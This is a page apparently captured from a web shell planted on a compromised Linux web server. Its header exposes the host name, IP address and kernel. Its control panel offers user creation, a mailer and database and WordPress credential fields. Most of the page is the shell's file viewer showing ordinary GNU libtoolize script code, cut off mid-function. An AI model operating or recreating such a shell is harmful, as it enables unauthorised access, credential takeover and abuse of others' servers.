System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
dr-xr-xr-x
]
:
/
usr
/
bin
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
libtoolize
#! /bin/sh ## DO NOT EDIT - This file generated from libtoolize ## by inline-source v2014-01-03.01 # Prepare a package to use libtool. # Written by Gary V. Vaughan <gary@gnu.org>, 2003 # Copyright (C) 2003-2015 Free Software Foundation, Inc. # This is free software; see the source for copying conditions. There is NO # warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # Libtoolize is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # Libtoolize is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. ## ------ ## ## Usage. ## ## ------ ## # Run './libtoolize --help' for help with using this script from the # command line. ## ------------------------------- ## ## User overridable command paths. ## ## ------------------------------- ## # After configure completes, it has a better idea of some of the # shell tools we need than the defaults used by the functions shared # with bootstrap, so set those here where they can still be over- # ridden by the user, but otherwise take precedence. : ${AUTOCONF="autoconf"} : ${AUTOMAKE="automake"} : ${EGREP="/usr/bin/grep -E"} : ${FGREP="/usr/bin/grep -F"} : ${GREP="/usr/bin/grep"} : ${LN_S="ln -s"} : ${SED="/usr/bin/sed"} ## -------------------------- ## ## Source external libraries. ## ## -------------------------- ## # Much of our low-level functionality needs to be sourced from external # libraries, which are installed to $pkgauxdir under normal use, though # we also need to be able to find them in $srcdir during testing, or if # executed directly from the build tree. # Set a version string for this script. scriptversion=2015-01-20.17; # UTC # General shell script boiler plate, and helper functions. # Written by Gary V. Vaughan, 2004 # Copyright (C) 2004-2015 Free Software Foundation, Inc. # This is free software; see the source for copying conditions. There is NO # warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # As a special exception to the GNU General Public License, if you distribute # this file as part of a program or library that is built using GNU Libtool, # you may include this file under the same distribution terms that you use # for the rest of that program. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNES FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # Please report bugs or propose patches to gary@gnu.org. ## ------ ## ## Usage. ## ## ------ ## # Evaluate this file near the top of your script to gain access to # the functions and variables defined here: # # . `echo "$0" | ${SED-sed} 's|[^/]*$||'`/build-aux/funclib.sh # # If you need to override any of the default environment variable # settings, do that before evaluating this file. ## -------------------- ## ## Shell normalisation. ## ## -------------------- ## # Some shells need a little help to be as Bourne compatible as possible. # Before doing anything else, make sure all that help has been provided! DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in *posix*) set -o posix ;; esac fi # NLS nuisances: We save the old values in case they are required later. _G_user_locale= _G_safe_locale= for _G_var in LANG LANGUAGE LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES do eval "if test set = \"\${$_G_var+set}\"; then save_$_G_var=\$$_G_var $_G_var=C export $_G_var _G_user_locale=\"$_G_var=\\\$save_\$_G_var; \$_G_user_locale\" _G_safe_locale=\"$_G_var=C; \$_G_safe_locale\" fi" done # CDPATH. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH # Make sure IFS has a sensible default sp=' ' nl=' ' IFS="$sp $nl" # There are apparently some retarded systems that use ';' as a PATH separator! if test "${PATH_SEPARATOR+set}" != set; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || PATH_SEPARATOR=';' } fi ## ------------------------- ## ## Locate command utilities. ## ## ------------------------- ## # func_executable_p FILE # ---------------------- # Check that FILE is an executable regular file. func_executable_p () { test -f "$1" && test -x "$1" } # func_path_progs PROGS_LIST CHECK_FUNC [PATH] # -------------------------------------------- # Search for either a program that responds to --version with output # containing "GNU", or else returned by CHECK_FUNC otherwise, by # trying all the directories in PATH with each of the elements of # PROGS_LIST. # # CHECK_FUNC should accept the path to a candidate program, and # set $func_check_prog_result if it truncates its output less than # $_G_path_prog_max characters. func_path_progs () { _G_progs_list=$1 _G_check_func=$2 _G_PATH=${3-"$PATH"} _G_path_prog_max=0 _G_path_prog_found=false _G_save_IFS=$IFS; IFS=${PATH_SEPARATOR-:} for _G_dir in $_G_PATH; do IFS=$_G_save_IFS test -z "$_G_dir" && _G_dir=. for _G_prog_name in $_G_progs_list; do for _exeext in '' .EXE; do _G_path_prog=$_G_dir/$_G_prog_name$_exeext func_executable_p "$_G_path_prog" || continue case `"$_G_path_prog" --version 2>&1` in *GNU*) func_path_progs_result=$_G_path_prog _G_path_prog_found=: ;; *) $_G_check_func $_G_path_prog func_path_progs_result=$func_check_prog_result ;; esac $_G_path_prog_found && break 3 done done done IFS=$_G_save_IFS test -z "$func_path_progs_result" && { echo "no acceptable sed could be found in \$PATH" >&2 exit 1 } } # We want to be able to use the functions in this file before configure # has figured out where the best binaries are kept, which means we have # to search for them ourselves - except when the results are already set # where we skip the searches. # Unless the user overrides by setting SED, search the path for either GNU # sed, or the sed that truncates its output the least. test -z "$SED" && { _G_sed_script=s/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/ for _G_i in 1 2 3 4 5 6 7; do _G_sed_script=$_G_sed_script$nl$_G_sed_script done echo "$_G_sed_script" 2>/dev/null | sed 99q >conftest.sed _G_sed_script= func_check_prog_sed () { _G_path_prog=$1 _G_count=0 printf 0123456789 >conftest.in while : do cat conftest.in conftest.in >conftest.tmp mv conftest.tmp conftest.in cp conftest.in conftest.nl echo '' >> conftest.nl "$_G_path_prog" -f conftest.sed <conftest.nl >conftest.out 2>/dev/null || break diff conftest.out conftest.nl >/dev/null 2>&1 || break _G_count=`expr $_G_count + 1` if test "$_G_count" -gt "$_G_path_prog_max"; then # Best one so far, save it but keep looking for a better one func_check_prog_result=$_G_path_prog _G_path_prog_max=$_G_count fi # 10*(2^10) chars as input seems more than enough test 10 -lt "$_G_count" && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out } func_path_progs "sed gsed" func_check_prog_sed $PATH:/usr/xpg4/bin rm -f conftest.sed SED=$func_path_progs_result } # Unless the user overrides by setting GREP, search the path for either GNU # grep, or the grep that truncates its output the least. test -z "$GREP" && { func_check_prog_grep () { _G_path_prog=$1 _G_count=0 _G_path_prog_max=0 printf 0123456789 >conftest.in while : do cat conftest.in conftest.in >conftest.tmp mv conftest.tmp conftest.in cp conftest.in conftest.nl echo 'GREP' >> conftest.nl "$_G_path_prog" -e 'GREP$' -e '-(cannot match)-' <conftest.nl >conftest.out 2>/dev/null || break diff conftest.out conftest.nl >/dev/null 2>&1 || break _G_count=`expr $_G_count + 1` if test "$_G_count" -gt "$_G_path_prog_max"; then # Best one so far, save it but keep looking for a better one func_check_prog_result=$_G_path_prog _G_path_prog_max=$_G_count fi # 10*(2^10) chars as input seems more than enough test 10 -lt "$_G_count" && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out } func_path_progs "grep ggrep" func_check_prog_grep $PATH:/usr/xpg4/bin GREP=$func_path_progs_result } ## ------------------------------- ## ## User overridable command paths. ## ## ------------------------------- ## # All uppercase variable names are used for environment variables. These # variables can be overridden by the user before calling a script that # uses them if a suitable command of that name is not already available # in the command search PATH. : ${CP="cp -f"} : ${ECHO="printf %s\n"} : ${EGREP="$GREP -E"} : ${FGREP="$GREP -F"} : ${LN_S="ln -s"} : ${MAKE="make"} : ${MKDIR="mkdir"} : ${MV="mv -f"} : ${RM="rm -f"} : ${SHELL="${CONFIG_SHELL-/bin/sh}"} ## -------------------- ## ## Useful sed snippets. ## ## -------------------- ## sed_dirname='s|/[^/]*$||' sed_basename='s|^.*/||' # Sed substitution that helps us do robust quoting. It backslashifies # metacharacters that are still active within double-quoted strings. sed_quote_subst='s|\([`"$\\]\)|\\\1|g' # Same as above, but do not quote variable references. sed_double_quote_subst='s/\(["`\\]\)/\\\1/g' # Sed substitution that turns a string into a regex matching for the # string literally. sed_make_literal_regex='s|[].[^$\\*\/]|\\&|g' # Sed substitution that converts a w32 file name or path # that contains forward slashes, into one that contains # (escaped) backslashes. A very naive implementation. sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g' # Re-'\' parameter expansions in output of sed_double_quote_subst that # were '\'-ed in input to the same. If an odd number of '\' preceded a # '$' in input to sed_double_quote_subst, that '$' was protected from # expansion. Since each input '\' is now two '\'s, look for any number # of runs of four '\'s followed by two '\'s and then a '$'. '\' that '$'. _G_bs='\\' _G_bs2='\\\\' _G_bs4='\\\\\\\\' _G_dollar='\$' sed_double_backslash="\ s/$_G_bs4/&\\ /g s/^$_G_bs2$_G_dollar/$_G_bs&/ s/\\([^$_G_bs]\\)$_G_bs2$_G_dollar/\\1$_G_bs2$_G_bs$_G_dollar/g s/\n//g" ## ----------------- ## ## Global variables. ## ## ----------------- ## # Except for the global variables explicitly listed below, the following # functions in the '^func_' namespace, and the '^require_' namespace # variables initialised in the 'Resource management' section, sourcing # this file will not pollute your global namespace with anything # else. There's no portable way to scope variables in Bourne shell # though, so actually running these functions will sometimes place # results into a variable named after the function, and often use # temporary variables in the '^_G_' namespace. If you are careful to # avoid using those namespaces casually in your sourcing script, things # should continue to work as you expect. And, of course, you can freely # overwrite any of the functions or variables defined here before # calling anything to customize them. EXIT_SUCCESS=0 EXIT_FAILURE=1 EXIT_MISMATCH=63 # $? = 63 is used to indicate version mismatch to missing. EXIT_SKIP=77 # $? = 77 is used to indicate a skipped test to automake. # Allow overriding, eg assuming that you follow the convention of # putting '$debug_cmd' at the start of all your functions, you can get # bash to show function call trace with: # # debug_cmd='eval echo "${FUNCNAME[0]} $*" >&2' bash your-script-name debug_cmd=${debug_cmd-":"} exit_cmd=: # By convention, finish your script with: # # exit $exit_status # # so that you can set exit_status to non-zero if you want to indicate # something went wrong during execution without actually bailing out at # the point of failure. exit_status=$EXIT_SUCCESS # Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh # is ksh but when the shell is invoked as "sh" and the current value of # the _XPG environment variable is not equal to 1 (one), the special # positional parameter $0, within a function call, is the name of the # function. progpath=$0 # The name of this program. progname=`$ECHO "$progpath" |$SED "$sed_basename"` # Make sure we have an absolute progpath for reexecution: case $progpath in [\\/]*|[A-Za-z]:\\*) ;; *[\\/]*) progdir=`$ECHO "$progpath" |$SED "$sed_dirname"` progdir=`cd "$progdir" && pwd` progpath=$progdir/$progname ;; *) _G_IFS=$IFS IFS=${PATH_SEPARATOR-:} for progdir in $PATH; do IFS=$_G_IFS test -x "$progdir/$progname" && break done IFS=$_G_IFS test -n "$progdir" || progdir=`pwd` progpath=$progdir/$progname ;; esac ## ----------------- ## ## Standard options. ## ## ----------------- ## # The following options affect the operation of the functions defined # below, and should be set appropriately depending on run-time para- # meters passed on the command line. opt_dry_run=false opt_quiet=false opt_verbose=false # Categories 'all' and 'none' are always available. Append any others # you will pass as the first argument to func_warning from your own # code. warning_categories= # By default, display warnings according to 'opt_warning_types'. Set # 'warning_func' to ':' to elide all warnings, or func_fatal_error to # treat the next displayed warning as a fatal error. warning_func=func_warn_and_continue # Set to 'all' to display all warnings, 'none' to suppress all # warnings, or a space delimited list of some subset of # 'warning_categories' to display only the listed warnings. opt_warning_types=all ## -------------------- ## ## Resource management. ## ## -------------------- ## # This section contains definitions for functions that each ensure a # particular resource (a file, or a non-empty configuration variable for # example) is available, and if appropriate to extract default values # from pertinent package files. Call them using their associated # 'require_*' variable to ensure that they are executed, at most, once. # # It's entirely deliberate that calling these functions can set # variables that don't obey the namespace limitations obeyed by the rest # of this file, in order that that they be as useful as possible to # callers. # require_term_colors # ------------------- # Allow display of bold text on terminals that support it. require_term_colors=func_require_term_colors func_require_term_colors () { $debug_cmd test -t 1 && { # COLORTERM and USE_ANSI_COLORS environment variables take # precedence, because most terminfo databases neglect to describe # whether color sequences are supported. test -n "${COLORTERM+set}" && : ${USE_ANSI_COLORS="1"} if test 1 = "$USE_ANSI_COLORS"; then # Standard ANSI escape sequences tc_reset='[0m' tc_bold='[1m'; tc_standout='[7m' tc_red='[31m'; tc_green='[32m' tc_blue='[34m'; tc_cyan='[36m' else # Otherwise trust the terminfo database after all. test -n "`tput sgr0 2>/dev/null`" && { tc_reset=`tput sgr0` test -n "`tput bold 2>/dev/null`" && tc_bold=`tput bold` tc_standout=$tc_bold test -n "`tput smso 2>/dev/null`" && tc_standout=`tput smso` test -n "`tput setaf 1 2>/dev/null`" && tc_red=`tput setaf 1` test -n "`tput setaf 2 2>/dev/null`" && tc_green=`tput setaf 2` test -n "`tput setaf 4 2>/dev/null`" && tc_blue=`tput setaf 4` test -n "`tput setaf 5 2>/dev/null`" && tc_cyan=`tput setaf 5` } fi } require_term_colors=: } ## ----------------- ## ## Function library. ## ## ----------------- ## # This section contains a variety of useful functions to call in your # scripts. Take note of the portable wrappers for features provided by # some modern shells, which will fall back to slower equivalents on # less featureful shells. # func_append VAR VALUE # --------------------- # Append VALUE onto the existing contents of VAR. # We should try to minimise forks, especially on Windows where they are # unreasonably slow, so skip the feature probes when bash or zsh are # being used: if test set = "${BASH_VERSION+set}${ZSH_VERSION+set}"; then : ${_G_HAVE_ARITH_OP="yes"} : ${_G_HAVE_XSI_OPS="yes"} # The += operator was introduced in bash 3.1 case $BASH_VERSION in [12].* | 3.0 | 3.0*) ;; *) : ${_G_HAVE_PLUSEQ_OP="yes"} ;; esac fi # _G_HAVE_PLUSEQ_OP # Can be empty, in which case the shell is probed, "yes" if += is # useable or anything else if it does not work. test -z "$_G_HAVE_PLUSEQ_OP" \ && (eval 'x=a; x+=" b"; test "a b" = "$x"') 2>/dev/null \ && _G_HAVE_PLUSEQ_OP=yes if test yes = "$_G_HAVE_PLUSEQ_OP" then # This is an XSI compatible shell, allowing a faster implementation... eval 'func_append () { $debug_cmd eval "$1+=\$2" }' else # ...otherwise fall back to using expr, which is often a shell builtin. func_append () { $debug_cmd eval "$1=\$$1\$2" } fi # func_append_quoted VAR VALUE # ---------------------------- # Quote VALUE and append to the end of shell variable VAR, separated # by a space. if test yes = "$_G_HAVE_PLUSEQ_OP"; then eval 'func_append_quoted () { $debug_cmd func_quote_for_eval "$2" eval "$1+=\\ \$func_quote_for_eval_result" }' else func_append_quoted () { $debug_cmd func_quote_for_eval "$2" eval "$1=\$$1\\ \$func_quote_for_eval_result" } fi # func_append_uniq VAR VALUE # -------------------------- # Append unique VALUE onto the existing contents of VAR, assuming # entries are delimited by the first character of VALUE. For example: # # func_append_uniq options " --another-option option-argument" # # will only append to $options if " --another-option option-argument " # is not already present somewhere in $options already (note spaces at # each end implied by leading space in second argument). func_append_uniq () { $debug_cmd eval _G_current_value='`$ECHO $'$1'`' _G_delim=`expr "$2" : '\(.\)'` case $_G_delim$_G_current_value$_G_delim in *"$2$_G_delim"*) ;; *) func_append "$@" ;; esac } # func_arith TERM... # ------------------ # Set func_arith_result to the result of evaluating TERMs. test -z "$_G_HAVE_ARITH_OP" \ && (eval 'test 2 = $(( 1 + 1 ))') 2>/dev/null \ && _G_HAVE_ARITH_OP=yes if test yes = "$_G_HAVE_ARITH_OP"; then eval 'func_arith () { $debug_cmd func_arith_result=$(( $* )) }' else func_arith () { $debug_cmd func_arith_result=`expr "$@"` } fi # func_basename FILE # ------------------ # Set func_basename_result to FILE with everything up to and including # the last / stripped. if test yes = "$_G_HAVE_XSI_OPS"; then # If this shell supports suffix pattern removal, then use it to avoid # forking. Hide the definitions single quotes in case the shell chokes # on unsupported syntax... _b='func_basename_result=${1##*/}' _d='case $1 in */*) func_dirname_result=${1%/*}$2 ;; * ) func_dirname_result=$3 ;; esac' else # ...otherwise fall back to using sed. _b='func_basename_result=`$ECHO "$1" |$SED "$sed_basename"`' _d='func_dirname_result=`$ECHO "$1" |$SED "$sed_dirname"` if test "X$func_dirname_result" = "X$1"; then func_dirname_result=$3 else func_append func_dirname_result "$2" fi' fi eval 'func_basename () { $debug_cmd '"$_b"' }' # func_dirname FILE APPEND NONDIR_REPLACEMENT # ------------------------------------------- # Compute the dirname of FILE. If nonempty, add APPEND to the result, # otherwise set result to NONDIR_REPLACEMENT. eval 'func_dirname () { $debug_cmd '"$_d"' }' # func_dirname_and_basename FILE APPEND NONDIR_REPLACEMENT # -------------------------------------------------------- # Perform func_basename and func_dirname in a single function # call: # dirname: Compute the dirname of FILE. If nonempty, # add APPEND to the result, otherwise set result # to NONDIR_REPLACEMENT. # value returned in "$func_dirname_result" # basename: Compute filename of FILE. # value retuned in "$func_basename_result" # For efficiency, we do not delegate to the functions above but instead # duplicate the functionality here. eval 'func_dirname_and_basename () { $debug_cmd '"$_b"' '"$_d"' }' # func_echo ARG... # ---------------- # Echo program name prefixed message. func_echo () { $debug_cmd _G_message=$* func_echo_IFS=$IFS IFS=$nl for _G_line in $_G_message; do IFS=$func_echo_IFS $ECHO "$progname: $_G_line" done IFS=$func_echo_IFS } # func_echo_all ARG... # -------------------- # Invoke $ECHO with all args, space-separated. func_echo_all () { $ECHO "$*" } # func_echo_infix_1 INFIX ARG... # ------------------------------ # Echo program name, followed by INFIX on the first line, with any # additional lines not showing INFIX. func_echo_infix_1 () { $debug_cmd $require_term_colors _G_infix=$1; shift _G_indent=$_G_infix _G_prefix="$progname: $_G_infix: " _G_message=$* # Strip color escape sequences before counting printable length for _G_tc in "$tc_reset" "$tc_bold" "$tc_standout" "$tc_red" "$tc_green" "$tc_blue" "$tc_cyan" do test -n "$_G_tc" && { _G_esc_tc=`$ECHO "$_G_tc" | $SED "$sed_make_literal_regex"` _G_indent=`$ECHO "$_G_indent" | $SED "s|$_G_esc_tc||g"` } done _G_indent="$progname: "`echo "$_G_indent" | $SED 's|.| |g'`" " ## exclude from sc_prohibit_nested_quotes func_echo_infix_1_IFS=$IFS IFS=$nl for _G_line in $_G_message; do IFS=$func_echo_infix_1_IFS $ECHO "$_G_prefix$tc_bold$_G_line$tc_reset" >&2 _G_prefix=$_G_indent done IFS=$func_echo_infix_1_IFS } # func_error ARG... # ----------------- # Echo program name prefixed message to standard error. func_error () { $debug_cmd $require_term_colors func_echo_infix_1 " $tc_standout${tc_red}error$tc_reset" "$*" >&2 } # func_fatal_error ARG... # ----------------------- # Echo program name prefixed message to standard error, and exit. func_fatal_error () { $debug_cmd func_error "$*" exit $EXIT_FAILURE } # func_grep EXPRESSION FILENAME # ----------------------------- # Check whether EXPRESSION matches any line of FILENAME, without output. func_grep () { $debug_cmd $GREP "$1" "$2" >/dev/null 2>&1 } # func_len STRING # --------------- # Set func_len_result to the length of STRING. STRING may not # start with a hyphen. test -z "$_G_HAVE_XSI_OPS" \ && (eval 'x=a/b/c; test 5aa/bb/cc = "${#x}${x%%/*}${x%/*}${x#*/}${x##*/}"') 2>/dev/null \ && _G_HAVE_XSI_OPS=yes if test yes = "$_G_HAVE_XSI_OPS"; then eval 'func_len () { $debug_cmd func_len_result=${#1} }' else func_len () { $debug_cmd func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len` } fi # func_mkdir_p DIRECTORY-PATH # --------------------------- # Make sure the entire path to DIRECTORY-PATH is available. func_mkdir_p () { $debug_cmd _G_directory_path=$1 _G_dir_list= if test -n "$_G_directory_path" && test : != "$opt_dry_run"; then # Protect directory names starting with '-' case $_G_directory_path in -*) _G_directory_path=./$_G_directory_path ;; esac # While some portion of DIR does not yet exist... while test ! -d "$_G_directory_path"; do # ...make a list in topmost first order. Use a colon delimited # list incase some portion of path contains whitespace. _G_dir_list=$_G_directory_path:$_G_dir_list # If the last portion added has no slash in it, the list is done case $_G_directory_path in */*) ;; *) break ;; esac # ...otherwise throw away the child directory and loop _G_directory_path=`$ECHO "$_G_directory_path" | $SED -e "$sed_dirname"` done _G_dir_list=`$ECHO "$_G_dir_list" | $SED 's|:*$||'` func_mkdir_p_IFS=$IFS; IFS=: for _G_dir in $_G_dir_list; do IFS=$func_mkdir_p_IFS # mkdir can fail with a 'File exist' error if two processes # try to create one of the directories concurrently. Don't # stop in that case! $MKDIR "$_G_dir" 2>/dev/null || : done IFS=$func_mkdir_p_IFS # Bail out if we (or some other process) failed to create a directory. test -d "$_G_directory_path" || \ func_fatal_error "Failed to create '$1'" fi } # func_mktempdir [BASENAME] # ------------------------- # Make a temporary directory that won't clash with other running # libtool processes, and avoids race conditions if possible. If # given, BASENAME is the basename for that directory. func_mktempdir () { $debug_cmd _G_template=${TMPDIR-/tmp}/${1-$progname} if test : = "$opt_dry_run"; then # Return a directory name, but don't create it in dry-run mode _G_tmpdir=$_G_template-$$ else # If mktemp works, use that first and foremost _G_tmpdir=`mktemp -d "$_G_template-XXXXXXXX" 2>/dev/null` if test ! -d "$_G_tmpdir"; then # Failing that, at least try and use $RANDOM to avoid a race _G_tmpdir=$_G_template-${RANDOM-0}$$ func_mktempdir_umask=`umask` umask 0077 $MKDIR "$_G_tmpdir" umask $func_mktempdir_umask fi # If we're not in dry-run mode, bomb out on failure test -d "$_G_tmpdir" || \ func_fatal_error "cannot create temporary directory '$_G_tmpdir'" fi $ECHO "$_G_tmpdir" } # func_normal_abspath PATH # ------------------------ # Remove doubled-up and trailing slashes, "." path components, # and cancel out any ".." path components in PATH after making # it an absolute path. func_normal_abspath () { $debug_cmd # These SED scripts presuppose an absolute path with a trailing slash. _G_pathcar='s|^/\([^/]*\).*$|\1|' _G_pathcdr='s|^/[^/]*||' _G_removedotparts=':dotsl s|/\./|/|g t dotsl s|/\.$|/|' _G_collapseslashes='s|/\{1,\}|/|g' _G_finalslash='s|/*$|/|' # Start from root dir and reassemble the path. func_normal_abspath_result= func_normal_abspath_tpath=$1 func_normal_abspath_altnamespace= case $func_normal_abspath_tpath in "") # Empty path, that just means $cwd. func_stripname '' '/' "`pwd`" func_normal_abspath_result=$func_stripname_result return ;; # The next three entries are used to spot a run of precisely # two leading slashes without using negated character classes; # we take advantage of case's first-match behaviour. ///*) # Unusual form of absolute path, do nothing. ;; //*) # Not necessarily an ordinary path; POSIX reserves leading '//' # and for example Cygwin uses it to access remote file shares # over CIFS/SMB, so we conserve a leading double slash if found. func_normal_abspath_altnamespace=/ ;; /*) # Absolute path, do nothing. ;; *) # Relative path, prepend $cwd. func_normal_abspath_tpath=`pwd`/$func_normal_abspath_tpath ;; esac # Cancel out all the simple stuff to save iterations. We also want # the path to end with a slash for ease of parsing, so make sure # there is one (and only one) here. func_normal_abspath_tpath=`$ECHO "$func_normal_abspath_tpath" | $SED \ -e "$_G_removedotparts" -e "$_G_collapseslashes" -e "$_G_finalslash"` while :; do # Processed it all yet? if test / = "$func_normal_abspath_tpath"; then # If we ascended to the root using ".." the result may be empty now. if test -z "$func_normal_abspath_result"; then func_normal_abspath_result=/ fi break fi func_normal_abspath_tcomponent=`$ECHO "$func_normal_abspath_tpath" | $SED \ -e "$_G_pathcar"` func_normal_abspath_tpath=`$ECHO "$func_normal_abspath_tpath" | $SED \ -e "$_G_pathcdr"` # Figure out what to do with it case $func_normal_abspath_tcomponent in "") # Trailing empty path component, ignore it. ;; ..) # Parent dir; strip last assembled component from result. func_dirname "$func_normal_abspath_result" func_normal_abspath_result=$func_dirname_result ;; *) # Actual path component, append it. func_append func_normal_abspath_result "/$func_normal_abspath_tcomponent" ;; esac done # Restore leading double-slash if one was found on entry. func_normal_abspath_result=$func_normal_abspath_altnamespace$func_normal_abspath_result } # func_notquiet ARG... # -------------------- # Echo program name prefixed message only when not in quiet mode. func_notquiet () { $debug_cmd $opt_quiet || func_echo ${1+"$@"} # A bug in bash halts the script if the last line of a function # fails when set -e is in force, so we need another command to # work around that: : } # func_relative_path SRCDIR DSTDIR # -------------------------------- # Set func_relative_path_result to the relative path from SRCDIR to DSTDIR. func_relative_path () { $debug_cmd func_relative_path_result= func_normal_abspath "$1" func_relative_path_tlibdir=$func_normal_abspath_result func_normal_abspath "$2" func_relative_path_tbindir=$func_normal_abspath_result # Ascend the tree starting from libdir while :; do # check if we have found a prefix of bindir case $func_relative_path_tbindir in $func_relative_path_tlibdir) # found an exact match func_relative_path_tcancelled= break ;; $func_relative_path_tlibdir*) # found a matching prefix func_stripname "$func_relative_path_tlibdir" '' "$func_relative_path_tbindir" func_relative_path_tcancelled=$func_stripname_result if test -z "$func_relative_path_result"; then func_relative_path_result=. fi break ;; *) func_dirname $func_relative_path_tlibdir func_relative_path_tlibdir=$func_dirname_result if test -z "$func_relative_path_tlibdir"; then # Have to descend all the way to the root! func_relative_path_result=../$func_relative_path_result func_relative_path_tcancelled=$func_relative_path_tbindir break fi func_relative_path_result=../$func_relative_path_result ;; esac done # Now calculate path; take care to avoid doubling-up slashes. func_stripname '' '/' "$func_relative_path_result" func_relative_path_result=$func_stripname_result func_stripname '/' '/' "$func_relative_path_tcancelled" if test -n "$func_stripname_result"; then func_append func_relative_path_result "/$func_stripname_result" fi # Normalisation. If bindir is libdir, return '.' else relative path. if test -n "$func_relative_path_result"; then func_stripname './' '' "$func_relative_path_result" func_relative_path_result=$func_stripname_result fi test -n "$func_relative_path_result" || func_relative_path_result=. : } # func_quote_for_eval ARG... # -------------------------- # Aesthetically quote ARGs to be evaled later. # This function returns two values: # i) func_quote_for_eval_result # double-quoted, suitable for a subsequent eval # ii) func_quote_for_eval_unquoted_result # has all characters that are still active within double # quotes backslashified. func_quote_for_eval () { $debug_cmd func_quote_for_eval_unquoted_result= func_quote_for_eval_result= while test 0 -lt $#; do case $1 in *[\\\`\"\$]*) _G_unquoted_arg=`printf '%s\n' "$1" |$SED "$sed_quote_subst"` ;; *) _G_unquoted_arg=$1 ;; esac if test -n "$func_quote_for_eval_unquoted_result"; then func_append func_quote_for_eval_unquoted_result " $_G_unquoted_arg" else func_append func_quote_for_eval_unquoted_result "$_G_unquoted_arg" fi case $_G_unquoted_arg in # Double-quote args containing shell metacharacters to delay # word splitting, command substitution and variable expansion # for a subsequent eval. # Many Bourne shells cannot handle close brackets correctly # in scan sets, so we specify it separately. *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") _G_quoted_arg=\"$_G_unquoted_arg\" ;; *) _G_quoted_arg=$_G_unquoted_arg ;; esac if test -n "$func_quote_for_eval_result"; then func_append func_quote_for_eval_result " $_G_quoted_arg" else func_append func_quote_for_eval_result "$_G_quoted_arg" fi shift done } # func_quote_for_expand ARG # ------------------------- # Aesthetically quote ARG to be evaled later; same as above, # but do not quote variable references. func_quote_for_expand () { $debug_cmd case $1 in *[\\\`\"]*) _G_arg=`$ECHO "$1" | $SED \ -e "$sed_double_quote_subst" -e "$sed_double_backslash"` ;; *) _G_arg=$1 ;; esac case $_G_arg in # Double-quote args containing shell metacharacters to delay # word splitting and command substitution for a subsequent eval. # Many Bourne shells cannot handle close brackets correctly # in scan sets, so we specify it separately. *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") _G_arg=\"$_G_arg\" ;; esac func_quote_for_expand_result=$_G_arg } # func_stripname PREFIX SUFFIX NAME # --------------------------------- # strip PREFIX and SUFFIX from NAME, and store in func_stripname_result. # PREFIX and SUFFIX must not contain globbing or regex special # characters, hashes, percent signs, but SUFFIX may contain a leading # dot (in which case that matches only a dot). if test yes = "$_G_HAVE_XSI_OPS"; then eval 'func_stripname () { $debug_cmd # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are # positional parameters, so assign one to ordinary variable first. func_stripname_result=$3 func_stripname_result=${func_stripname_result#"$1"} func_stripname_result=${func_stripname_result%"$2"} }' else func_stripname () { $debug_cmd case $2 in .*) func_stripname_result=`$ECHO "$3" | $SED -e "s%^$1%%" -e "s%\\\\$2\$%%"`;; *) func_stripname_result=`$ECHO "$3" | $SED -e "s%^$1%%" -e "s%$2\$%%"`;; esac } fi # func_show_eval CMD [FAIL_EXP] # ----------------------------- # Unless opt_quiet is true, then output CMD. Then, if opt_dryrun is # not true, evaluate CMD. If the evaluation of CMD fails, and FAIL_EXP # is given, then evaluate it. func_show_eval () { $debug_cmd _G_cmd=$1 _G_fail_exp=${2-':'} func_quote_for_expand "$_G_cmd" eval "func_notquiet $func_quote_for_expand_result" $opt_dry_run || { eval "$_G_cmd" _G_status=$? if test 0 -ne "$_G_status"; then eval "(exit $_G_status); $_G_fail_exp" fi } } # func_show_eval_locale CMD [FAIL_EXP] # ------------------------------------ # Unless opt_quiet is true, then output CMD. Then, if opt_dryrun is # not true, evaluate CMD. If the evaluation of CMD fails, and FAIL_EXP # is given, then evaluate it. Use the saved locale for evaluation. func_show_eval_locale () { $debug_cmd _G_cmd=$1 _G_fail_exp=${2-':'} $opt_quiet || { func_quote_for_expand "$_G_cmd" 